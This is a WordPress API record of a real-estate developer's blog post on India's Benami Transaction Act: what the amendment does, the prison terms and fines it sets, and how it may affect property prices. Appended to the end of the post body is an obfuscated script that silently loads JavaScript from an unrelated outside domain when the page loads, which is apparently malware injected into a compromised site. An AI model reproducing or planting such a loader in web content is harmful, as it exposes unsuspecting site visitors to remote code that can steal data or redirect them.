{"id":190,"date":"2016-09-01T16:36:47","date_gmt":"2016-09-01T16:36:47","guid":{"rendered":"http:\/\/www.yeshdevelopers.com\/blog\/?p=190"},"modified":"2025-10-31T01:48:25","modified_gmt":"2025-10-31T01:48:25","slug":"benami-transaction-act-and-its-effect-on-real-estate-market","status":"publish","type":"post","link":"https:\/\/www.yeshdevelopers.com\/blog\/benami-transaction-act-and-its-effect-on-real-estate-market\/","title":{"rendered":"Benami Transaction Act and Its effect on Real Estate Market"},"content":{"rendered":"<div>\n<p>The amendment in\u00a0Benami Transaction Act \u00a0is a step in right direction to improve the overall confidence of the <a href=\"http:\/\/www.yeshdevelopers.com\/category\/ongoing-property-projects\/\" target=\"_blank\">real estate buyers<\/a>. \u00a0All real estate transactions shall be in the name of the actual owner who is paying the amount.<\/p>\n<div><\/div>\n<div>It would make real estate operations easier and establish\u00a0professionalism increase transparency and clarity in ownership of the <a href=\"http:\/\/www.yeshdevelopers.com\" target=\"_blank\">property<\/a>. It would also \u00a0put the restrictions on\u00a0black\u00a0money into the reality market. It will bring the much needed confidence in <a href=\"http:\/\/www.yeshdevelopers.com\/site-visit-request\/\" target=\"_blank\">investors <\/a>.\u00a0We may face an increase in real estate transactions prices.\u00a0The realtors \u00a0entering into <a href=\"http:\/\/yeshdevelopers.com\/most-important-questions-before-buying-properties\/\">Benami Transactions<\/a> may have\u00a0to face punishment and pay \u00a0the hefty amount as penalty.\u00a0\u00a0The act should impact the real estate transaction volume especially <a href=\"http:\/\/www.yeshdevelopers.com\/category\/ongoing-property-projects\/\" target=\"_blank\">land <\/a>transactions and real estate prices adversely.<\/div>\n<p>\n<\/div>\n<div><\/div>\n<div>Benamidar, or the beneficial owner or any other person who abets any person to enter into such a transaction, will face rigorous punishment ranging from a year to seven years in jail. These persons will be liable for a fine of up to 25 per cent of the fair market value of the property. \u00a0And, Those giving false information may face Imprisonment from six months to five years. Up to 10 per cent of the fair market value of the property.\u00a0This act would be applicable on any kind of assets movable, immovable, tangible, intangible, corporeal or incorporeal.<\/div>\n<div><\/div>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The amendment in\u00a0Benami Transaction Act \u00a0is a step in right direction to improve the overall confidence of the real estate buyers. \u00a0All real estate transactions shall be in the name of the actual owner who is paying the amount. It would make real estate operations easier and establish\u00a0professionalism increase transparency and clarity in ownership of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-190","post","type-post","status-publish","format-standard","hentry","category-buyers-guide"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v25.0 (Yoast SEO v26.3) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Benami Transaction Act and Its effect on Real Estate Market - Yesh Developers<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.yeshdevelopers.com\/blog\/benami-transaction-act-and-its-effect-on-real-estate-market\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Benami Transaction Act and Its effect on Real Estate Market\" \/>\n<meta property=\"og:description\" content=\"The amendment in\u00a0Benami Transaction Act \u00a0is a step in right direction to improve the overall confidence of the real estate buyers. \u00a0All real estate transactions shall be in the name of the actual owner who is paying the amount. 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